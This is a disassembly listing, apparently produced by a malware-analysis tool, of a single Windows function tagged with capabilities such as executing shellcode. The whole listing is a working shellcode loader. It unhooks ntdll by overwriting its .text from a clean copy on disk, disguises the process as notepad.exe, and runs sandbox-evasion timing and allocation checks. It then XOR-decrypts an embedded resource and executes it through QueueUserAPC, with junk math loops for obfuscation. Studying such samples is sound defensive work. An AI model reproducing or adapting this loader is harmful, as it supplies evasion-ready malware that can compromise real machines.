Function at 0x140001450
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Link many functions at runtime
Read file via mapping

Disassembly:
push rbp
push rbx
sub rsp, 0x3d8
lea rbp, [rsp + 0x80]
movups xmmword [rbp + 0x340], xmm6
mov dword [rbp + 0x370], ecx
mov qword [rbp + 0x378], rdx
call fcn.140002a50
lea rax, str.ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x2d8], rax
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x2d0], rax
mov dword [rbp + 0x33c], 0
jmp 0x1400014fb
call sub.msvcrt.dll_rand
imul eax, eax, 0x264
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x140006160]
divsd xmm0, xmm1
movq rax, xmm0
movq xmm0, rax
call fcn.140003b50
movq rax, xmm0
mov qword [rbp + 0x110], rax
add dword [rbp + 0x33c], 1
cmp dword [rbp + 0x33c], 0x2cf
jle 0x1400014ba
lea rax, str.ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x2c8], rax
lea rax, str.psapi.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov rcx, rax
lea rax, str.GetModuleInformation
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x330], rax
mov ecx, 0x628
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x2c0], rax
mov dword [rbp + 0x32c], 0
jmp 0x1400015ac
call sub.msvcrt.dll_rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
mov eax, dword [rbp + 0x32c]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x2c0]
add rax, rdx
movsd xmm1, qword [0x140006160]
divsd xmm0, xmm1
movsd qword [rax], xmm0
add dword [rbp + 0x32c], 1
cmp dword [rbp + 0x32c], 0xc4
jle 0x14000156e
mov dword [rbp + 0x32c], 0
jmp 0x140001649
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x51eb851f
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x64
sub eax, ecx
mov edx, eax
pxor xmm0, xmm0
cvtsi2sd xmm0, edx
mov eax, dword [rbp + 0x32c]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x2c0]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0x32c]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x2c0]
lea rbx, [rcx + rdx]
movupd xmm1, xmm0
movq xmm0, rax
call fcn.140003b20
movq rax, xmm0
mov qword [rbx], rax
add dword [rbp + 0x32c], 1
cmp dword [rbp + 0x32c], 0xc4
jle 0x1400015c7
cmp qword [rbp + 0x330], 0
jne 0x140001693
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov rcx, rax
lea rax, str.GetModuleInformation
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x330], rax
cmp qword [rbp + 0x330], 0
je 0x140001ac6
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rdx, [rbp + 0xf0]
mov rax, qword [rbp + 0x2c8]
mov r10, qword [rbp + 0x330]
mov r9d, 0x18
mov r8, rdx
mov rdx, rax
call r10
mov ecx, 0x12f8
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x2b8], rax
mov dword [rbp + 0x328], 0
jmp 0x14000173c
call sub.msvcrt.dll_rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x140006160]
divsd xmm0, xmm1
addsd xmm0, xmm0
mov eax, dword [rbp + 0x328]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x2b8]
add rax, rdx
movsd xmm1, qword [0x140006168]
subsd xmm0, xmm1
movsd qword [rax], xmm0
add dword [rbp + 0x328], 1
cmp dword [rbp + 0x328], 0x25e
jle 0x1400016ee
mov dword [rbp + 0x328], 0
jmp 0x1400017a6
mov eax, dword [rbp + 0x328]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x2b8]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0x328]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x2b8]
lea rbx, [rcx + rdx]
movq xmm0, rax
call sub.msvcrt.dll_asin
movq rax, xmm0
mov qword [rbx], rax
add dword [rbp + 0x328], 1
cmp dword [rbp + 0x328], 0x25e
jle 0x140001754
mov rax, qword [rbp + 0xf0]
mov qword [rbp + 0x2b0], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 3
mov r9d, 0
mov r8d, 1
mov edx, 0x80000000
lea rax, str.c:windows_system32_ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileA]
call rax
mov qword [rbp + 0x2a8], rax
mov rax, qword [rbp + 0x2a8]
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0x1000002
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileMappingA]
call rax
mov qword [rbp + 0x2a0], rax
mov rax, qword [rbp + 0x2a0]
mov qword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov edx, 4
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_MapViewOfFile]
call rax
mov qword [rbp + 0x298], rax
mov rax, qword [rbp + 0x2b0]
mov qword [rbp + 0x290], rax
mov rax, qword [rbp + 0x290]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp + 0x2b0]
add rax, rdx
mov qword [rbp + 0x288], rax
mov word [rbp + 0x326], 0
jmp 0x140001aae
mov rax, qword [rbp + 0x288]
movzx eax, word [rax + 0x14]
movzx edx, ax
mov rax, qword [rbp + 0x288]
lea rcx, [rdx + rax]
movzx edx, word [rbp + 0x326]
mov rax, rdx
shl rax, 2
add rax, rdx
shl rax, 3
add rax, rcx
add rax, 0x18
mov qword [rbp + 0x280], rax
mov rax, qword [rbp + 0x280]
lea rdx, str..text
mov rcx, rax
call sub.msvcrt.dll_strcmp
test eax, eax
jne 0x140001a9d
mov dword [rbp + 0xb8], 0
mov rax, qword [rbp + 0x280]
mov eax, dword [rax + 8]
mov edx, eax
mov rax, qword [rbp + 0x280]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x2b0]
add rax, rcx
mov rcx, rax
lea rax, [rbp + 0xb8]
mov r9, rax
mov r8d, 0x40
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x280]
mov eax, dword [rax + 8]
mov r8d, eax
mov rax, qword [rbp + 0x280]
mov eax, dword [rax + 0xc]
mov edx, eax
mov rax, qword [rbp + 0x298]
add rax, rdx
mov rdx, rax
mov rax, qword [rbp + 0x280]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x2b0]
add rax, rcx
mov rcx, rax
call sub.msvcrt.dll_memcpy
mov dword [rbp + 0x320], 0xffffffff
mov ecx, 0x438
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x278], rax
add dword [rbp + 0x320], 1
call sub.msvcrt.dll_rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x140006160]
divsd xmm0, xmm1
addsd xmm0, xmm0
mov eax, dword [rbp + 0x320]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x278]
add rax, rdx
movsd xmm1, qword [0x140006168]
subsd xmm0, xmm1
movsd qword [rax], xmm0
mov eax, dword [rbp + 0x320]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x278]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0x320]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x278]
lea rbx, [rcx + rdx]
movq xmm0, rax
call sub.msvcrt.dll_asin
movq rax, xmm0
mov qword [rbx], rax
cmp dword [rbp + 0x320], 0x85
jle 0x1400019af
mov edx, dword [rbp + 0xb8]
mov rax, qword [rbp + 0x280]
mov eax, dword [rax + 8]
mov r10d, eax
mov rax, qword [rbp + 0x280]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x2b0]
add rax, rcx
mov rcx, rax
lea rax, [rbp + 0xb8]
mov r9, rax
mov r8d, edx
mov rdx, r10
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
movzx eax, word [rbp + 0x326]
add eax, 1
mov word [rbp + 0x326], ax
mov rax, qword [rbp + 0x288]
movzx eax, word [rax + 6]
cmp word [rbp + 0x326], ax
jb 0x1400018ae
mov ecx, 0x848
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x270], rax
mov ecx, 0x848
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x268], rax
mov dword [rbp + 0x318], 0x211
mov dword [rbp + 0x31c], 0
jmp 0x140001b4b
call sub.msvcrt.dll_rand
mov edx, dword [rbp + 0x31c]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x270]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0x1b4e81b5
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x12c
sub eax, ecx
mov edx, eax
mov dword [r8], edx
add dword [rbp + 0x31c], 1
cmp dword [rbp + 0x31c], 0x211
jle 0x140001afe
mov dword [rbp + 0x31c], 0
jmp 0x140001baa
mov eax, dword [rbp + 0x318]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x270]
add rax, rdx
mov edx, dword [rbp + 0x31c]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x268]
add rdx, rcx
mov eax, dword [rax]
mov dword [rdx], eax
sub dword [rbp + 0x318], 1
add dword [rbp + 0x31c], 1
cmp dword [rbp + 0x31c], 0x211
jle 0x140001b63
mov rax, qword [rbp + 0x270]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x268]
mov rcx, rax
call sub.msvcrt.dll_free
mov qword [rbp + 0x308], 0
mov dword [rbp + 0x264], 0x15f
mov dword [rbp + 0x314], 1
jmp 0x140001c0b
mov eax, dword [rbp + 0x314]
cdqe
add qword [rbp + 0x308], rax
add dword [rbp + 0x314], 1
mov eax, dword [rbp + 0x314]
cmp eax, dword [rbp + 0x264]
jle 0x140001bf5
mov ecx, 0x614
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x258], rax
mov dword [rbp + 0x304], 0
jmp 0x140001cc0
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x3e8
sub eax, ecx
mov edx, eax
pxor xmm6, xmm6
cvtsi2ss xmm6, edx
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x51eb851f
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x64
sub eax, ecx
mov edx, eax
pxor xmm1, xmm1
cvtsi2ss xmm1, edx
mov eax, dword [rbp + 0x304]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x258]
add rax, rdx
divss xmm6, xmm1
movups xmm0, xmm6
movss dword [rax], xmm0
add dword [rbp + 0x304], 1
cmp dword [rbp + 0x304], 0x184
jle 0x140001c39
mov dword [rbp + 0x304], 0
jmp 0x140001dc4
cmp dword [rbp + 0x304], 0
je 0x140001d29
mov eax, dword [rbp + 0x304]
cdqe
shl rax, 2
lea rdx, [rax - 4]
mov rax, qword [rbp + 0x258]
add rax, rdx
movss xmm1, dword [rax]
mov eax, dword [rbp + 0x304]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x258]
add rax, rdx
movss xmm0, dword [rax]
comiss xmm0, xmm1
jb 0x140001d35
add dword [rbp + 0x304], 1
jmp 0x140001dc4
mov eax, dword [rbp + 0x304]
cdqe
shl rax, 2
lea rdx, [rax - 4]
mov rax, qword [rbp + 0x258]
add rax, rdx
movss xmm0, dword [rax]
movss dword [rbp + 0x11c], xmm0
mov eax, dword [rbp + 0x304]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x258]
add rdx, rax
mov eax, dword [rbp + 0x304]
cdqe
shl rax, 2
lea rcx, [rax - 4]
mov rax, qword [rbp + 0x258]
add rax, rcx
movss xmm0, dword [rdx]
movss dword [rax], xmm0
mov eax, dword [rbp + 0x304]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x258]
add rax, rdx
movss xmm0, dword [rbp + 0x11c]
movss dword [rax], xmm0
sub dword [rbp + 0x304], 1
cmp dword [rbp + 0x304], 0x184
jle 0x140001cdf
mov rax, qword [rbp + 0x258]
mov rcx, rax
call sub.msvcrt.dll_free
mov dword [rbp + 0xbc], 0
mov rax, qword [rbp + 0x2d8]
lea rdx, str.NtQueryInformationProcess
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x250], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rdx, [rbp + 0xc0]
lea rax, [rbp + 0xbc]
mov qword [rsp + 0x20], rax
mov rax, qword [rbp + 0x250]
mov r9d, 0x30
mov r8, rdx
mov edx, 0
call rax
mov rax, qword [rbp + 0xc8]
add rax, 0x3c
mov qword [rbp + 0x248], rax
mov rax, qword [rbp + 0x248]
lea rdx, str.C:_windows_system32_notepad.exe
mov qword [rax + 0x78], rdx
mov rax, qword [rbp + 0x248]
lea rdx, str.C:_windows_system32_notepad.exe
mov qword [rax + 0x68], rdx
mov dword [rbp + 0x244], 0x1ff
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.SleepEx
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x238], rax
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.GetTickCount
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x230], rax
mov rax, qword [rbp + 0x230]
call rax
mov dword [rbp + 0x22c], eax
mov eax, dword [rbp + 0x244]
mov r8, qword [rbp + 0x238]
mov edx, 0
mov ecx, eax
call r8
mov rax, qword [rbp + 0x230]
call rax
mov dword [rbp + 0x228], eax
mov eax, dword [rbp + 0x228]
sub eax, dword [rbp + 0x22c]
cmp eax, 0x1cd
jbe 0x14000297e
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.GetTickCount
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x220], rax
mov rax, qword [rbp + 0x220]
call rax
mov dword [rbp + 0x21c], eax
mov ecx, 0x3ce
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
mov rax, qword [rbp + 0x220]
call rax
mov dword [rbp + 0x218], eax
mov eax, dword [rbp + 0x218]
sub eax, dword [rbp + 0x21c]
cmp eax, 0x39c
jbe 0x14000297e
mov qword [rbp + 0x210], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.VirtualAllocExNuma
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x208], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x40
mov rax, qword [rbp + 0x208]
mov r9d, 0x3000
mov r8d, 0x3cd
mov edx, 0
call rax
mov qword [rbp + 0x210], rax
cmp qword [rbp + 0x210], 0
je 0x14000297e
mov r8d, 4
mov edx, 0
mov ecx, 0x1fffff
mov rax, qword [sym.imp.KERNEL32.dll_OpenProcess]
call rax
mov qword [rbp + 0x200], rax
cmp qword [rbp + 0x200], 0
jne 0x14000297e
mov qword [rbp + 0x1f8], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.VirtualAlloc
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x1f0], rax
mov rax, qword [rbp + 0x1f0]
mov r9d, 0x40
mov r8d, 0x3000
mov edx, 0x2dfae80
mov ecx, 0
call rax
mov qword [rbp + 0x1f8], rax
cmp qword [rbp + 0x1f8], 0
je 0x14000297e
mov rax, qword [rbp + 0x1f8]
mov edx, 0x2dfae80
mov rcx, rax
call fcn.1400049f0
mov rax, qword [rbp + 0x1f8]
mov r8d, 0x8000
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualFree]
call rax
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.OpenProcess
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x1e8], rax
mov rax, qword [rbp + 0x1e8]
mov r8d, 4
mov edx, 0
mov ecx, 0x1fffff
call rax
mov qword [rbp + 0x1e0], rax
cmp qword [rbp + 0x1e0], 0
jne 0x14000297e
mov qword [rbp + 0x1d8], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.VirtualAllocExNuma
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x1d0], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x40
mov rax, qword [rbp + 0x1d0]
mov r9d, 0x3000
mov r8d, 0x2a5
mov edx, 0
call rax
mov qword [rbp + 0x1d8], rax
cmp qword [rbp + 0x1d8], 0
je 0x14000297e
mov r9d, 0
mov r8d, 0
mov edx, 1
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateEventA]
call rax
mov qword [rbp + 0x1c8], rax
cmp qword [rbp + 0x1c8], 0
je 0x14000297e
mov rax, qword [rbp + 0x1c8]
mov edx, 0x4bf
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call rax
mov dword [rbp + 0x1c4], eax
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.GetTickCount
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x1b8], rax
mov rax, qword [rbp + 0x1b8]
call rax
mov dword [rbp + 0x1b4], eax
mov ecx, 0x3bb
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
mov rax, qword [rbp + 0x1b8]
call rax
mov dword [rbp + 0x1b0], eax
mov eax, dword [rbp + 0x1b0]
sub eax, dword [rbp + 0x1b4]
cmp eax, 0x389
jbe 0x14000297e
mov dword [rbp + 0x1ac], 0x211
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.GetTickCount
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x1a0], rax
mov rax, qword [rbp + 0x1a0]
call rax
mov dword [rbp + 0x19c], eax
mov eax, dword [rbp + 0x1ac]
mov edx, 0
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_SleepEx]
call rax
mov rax, qword [rbp + 0x1a0]
call rax
mov dword [rbp + 0x198], eax
mov eax, dword [rbp + 0x198]
sub eax, dword [rbp + 0x19c]
cmp eax, 0x1df
jbe 0x14000297e
mov rax, qword [rbp + 0x2d0]
lea rdx, str.FindResource
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x190], rax
lea rax, str.IPRRSHP
movzx eax, ax
mov rdx, rax
mov rax, qword [rbp + 0x190]
lea r8, str.IPRRSHP
mov ecx, 0
call rax
mov qword [rbp + 0x188], rax
mov rax, qword [rbp + 0x2d0]
lea rdx, str.LoadResource
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x180], rax
mov rax, qword [rbp + 0x188]
mov r8, qword [rbp + 0x180]
mov rdx, rax
mov ecx, 0
call r8
mov qword [rbp + 0x178], rax
mov rax, qword [rbp + 0x2d0]
lea rdx, str.SizeofResource
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x170], rax
mov rax, qword [rbp + 0x2d0]
lea rdx, str.HeapCreate
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x168], rax
mov rax, qword [rbp + 0x2d0]
lea rdx, str.HeapAlloc
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x160], rax
mov rax, qword [rbp + 0x188]
mov r8, qword [rbp + 0x170]
mov rdx, rax
mov ecx, 0
call r8
mov rdx, rax
mov rax, qword [rbp + 0x168]
mov r8d, 0
mov ecx, 0x40000
call rax
mov qword [rbp + 0x158], rax
mov rax, qword [rbp + 0x188]
mov r8, qword [rbp + 0x170]
mov rdx, rax
mov ecx, 0
call r8
mov rdx, rax
mov rax, qword [rbp + 0x158]
mov r9, qword [rbp + 0x160]
mov r8, rdx
mov edx, 8
mov rcx, rax
call r9
mov qword [rbp + 0x150], rax
mov rax, qword [rbp + 0x2d8]
lea rdx, str.RtlMoveMemory
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x148], rax
mov dword [rbp + 0x300], 0xffffffff
mov ecx, 0x1ee8
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x140], rax
mov ecx, 0x1ee8
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x138], rax
add dword [rbp + 0x300], 1
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x3e8
sub eax, ecx
mov edx, eax
pxor xmm6, xmm6
cvtsi2sd xmm6, edx
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0xffffffffea0ea0eb
shr rdx, 0x20
add edx, eax
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x46
sub eax, ecx
mov edx, eax
pxor xmm1, xmm1
cvtsi2sd xmm1, edx
mov eax, dword [rbp + 0x300]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x140]
add rax, rdx
divsd xmm6, xmm1
movupd xmm0, xmm6
movsd qword [rax], xmm0
mov eax, dword [rbp + 0x300]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x140]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0x300]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x138]
lea rbx, [rcx + rdx]
movq xmm0, rax
call fcn.140003a40
movq rax, xmm0
mov qword [rbx], rax
cmp dword [rbp + 0x300], 0x3db
jle 0x1400024d7
mov rax, qword [rbp + 0x188]
mov r8, qword [rbp + 0x170]
mov rdx, rax
mov ecx, 0
call r8
mov rcx, rax
mov rdx, qword [rbp + 0x178]
mov rax, qword [rbp + 0x150]
mov r9, qword [rbp + 0x148]
mov r8, rcx
mov rcx, rax
call r9
mov dword [rbp + 0x2f8], 0
mov dword [rbp + 0x2f4], 0
mov dword [rbp + 0x2f0], 0x370
jmp 0x14000261d
sub dword [rbp + 0x2f0], 1
cmp dword [rbp + 0x2f0], 0x12
jg 0x140002616
movabs rax, 0xfa5c67bd30e19735
movabs rdx, 0xa37c9c2ce301bd91
mov qword [rbp + 0x60], rax
mov qword [rbp + 0x68], rdx
movabs rax, 0x7d215f2ff9a3a98f
movabs rdx, 0x6212f80de531f960
mov qword [rbp + 0x70], rax
mov qword [rbp + 0x78], rdx
movabs rax, 0x5ea91db301295683
movabs rdx, 0x1d5f81f80ce85ba
mov qword [rbp + 0x80], rax
mov qword [rbp + 0x88], rdx
movabs rax, 0xe00bea2f661c9180
movabs rdx, 0x68c8d8c95f9d9998
mov qword [rbp + 0x90], rax
mov qword [rbp + 0x98], rdx
movabs rax, 0xa9e232e43df300f8
movabs rdx, 0x6d0ea502a667955b
mov qword [rbp + 0xa0], rax
mov qword [rbp + 0xa8], rdx
mov byte [rbp + 0xb0], 0
movabs rax, 0xbaca8e21172592e2
movabs rdx, 0xc8b28862e0f17475
mov qword [rbp + 0x10], rax
mov qword [rbp + 0x18], rdx
movabs rax, 0x6d46de8659625952
movabs rdx, 0xf528b3de1472333e
mov qword [rbp + 0x20], rax
mov qword [rbp + 0x28], rdx
movabs rax, 0x2d801f6781012093
movabs rdx, 0x1b4cdbd6dac60a70
mov qword [rbp + 0x30], rax
mov qword [rbp + 0x38], rdx
movabs rax, 0x8879b9ffe5b00513
movabs rdx, 0x7147c4911bedbc37
mov qword [rbp + 0x40], rax
mov qword [rbp + 0x48], rdx
movabs rax, 0xeae2251a047147c4
movabs rdx, 0xc96da2c22cf214
mov qword [rbp + 0x4d], rax
mov qword [rbp + 0x55], rdx
mov dword [rbp + 0x2fc], 0
jmp 0x14000286d
mov eax, dword [rbp + 0x2fc]
cdqe
movzx edx, byte [rbp + rax + 0x10]
mov eax, dword [rbp + 0x2f8]
cdqe
movzx eax, byte [rbp + rax + 0x60]
xor edx, eax
mov eax, dword [rbp + 0x2fc]
cdqe
mov byte [rbp + rax - 0x40], dl
cmp dword [rbp + 0x2f8], 0x4f
jne 0x14000285f
mov dword [rbp + 0x2ec], 0xffffffff
pxor xmm0, xmm0
movsd qword [rbp + 0x2e0], xmm0
add dword [rbp + 0x2ec], 1
pxor xmm1, xmm1
cvtsi2sd xmm1, dword [rbp + 0x2ec]
movsd xmm0, qword [0x140006168]
addsd xmm0, xmm1
mov rax, qword [0x140006170]
movupd xmm1, xmm0
movq xmm0, rax
call fcn.140003d20
movq rax, xmm0
pxor xmm0, xmm0
cvtsi2sd xmm0, dword [rbp + 0x2ec]
addsd xmm0, xmm0
movsd xmm2, qword [0x140006168]
movupd xmm1, xmm0
subsd xmm1, xmm2
movq xmm0, rax
divsd xmm0, xmm1
movsd xmm1, qword [rbp + 0x2e0]
addsd xmm0, xmm1
movsd qword [rbp + 0x2e0], xmm0
cmp dword [rbp + 0x2ec], 0x26d
jle 0x1400027b1
movsd xmm1, qword [rbp + 0x2e0]
movsd xmm0, qword [0x140006178]
mulsd xmm0, xmm1
movsd qword [rbp + 0x2e0], xmm0
mov dword [rbp + 0x2f8], 0
jmp 0x140002866
add dword [rbp + 0x2f8], 1
add dword [rbp + 0x2fc], 1
mov eax, dword [rbp + 0x2fc]
cmp eax, 0x4b
jbe 0x140002766
mov dword [rbp + 0x2fc], 0
jmp 0x1400028e9
mov eax, dword [rbp + 0x2fc]
movsxd rdx, eax
mov rax, qword [rbp + 0x150]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x2f4]
cdqe
movzx ecx, byte [rbp + rax - 0x40]
mov eax, dword [rbp + 0x2fc]
movsxd rdx, eax
mov rax, qword [rbp + 0x150]
add rax, rdx
mov edx, r8d
xor edx, ecx
mov byte [rax], dl
cmp dword [rbp + 0x2f4], 0x4b
jne 0x1400028db
mov dword [rbp + 0x2f4], 0
jmp 0x1400028e2
add dword [rbp + 0x2f4], 1
add dword [rbp + 0x2fc], 1
cmp dword [rbp + 0x2fc], 0x218
jle 0x140002888
mov rax, qword [rbp + 0x150]
mov qword [rbp + 0x130], rax
mov rax, qword [rbp + 0x2d0]
lea rdx, str.QueueUserAPC
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x128], rax
mov rax, qword [rbp + 0x2d0]
lea rdx, str.SleepEx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x120], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentThread]
call rax
mov rdx, rax
mov rax, qword [rbp + 0x130]
mov r9, qword [rbp + 0x128]
mov r8d, 0
mov rcx, rax
call r9
mov rax, qword [rbp + 0x120]
mov edx, 1
mov ecx, 0xffffffff
call rax
mov eax, 0
movups xmm6, xmmword [rbp + 0x340]
add rsp, 0x3d8
pop rbx
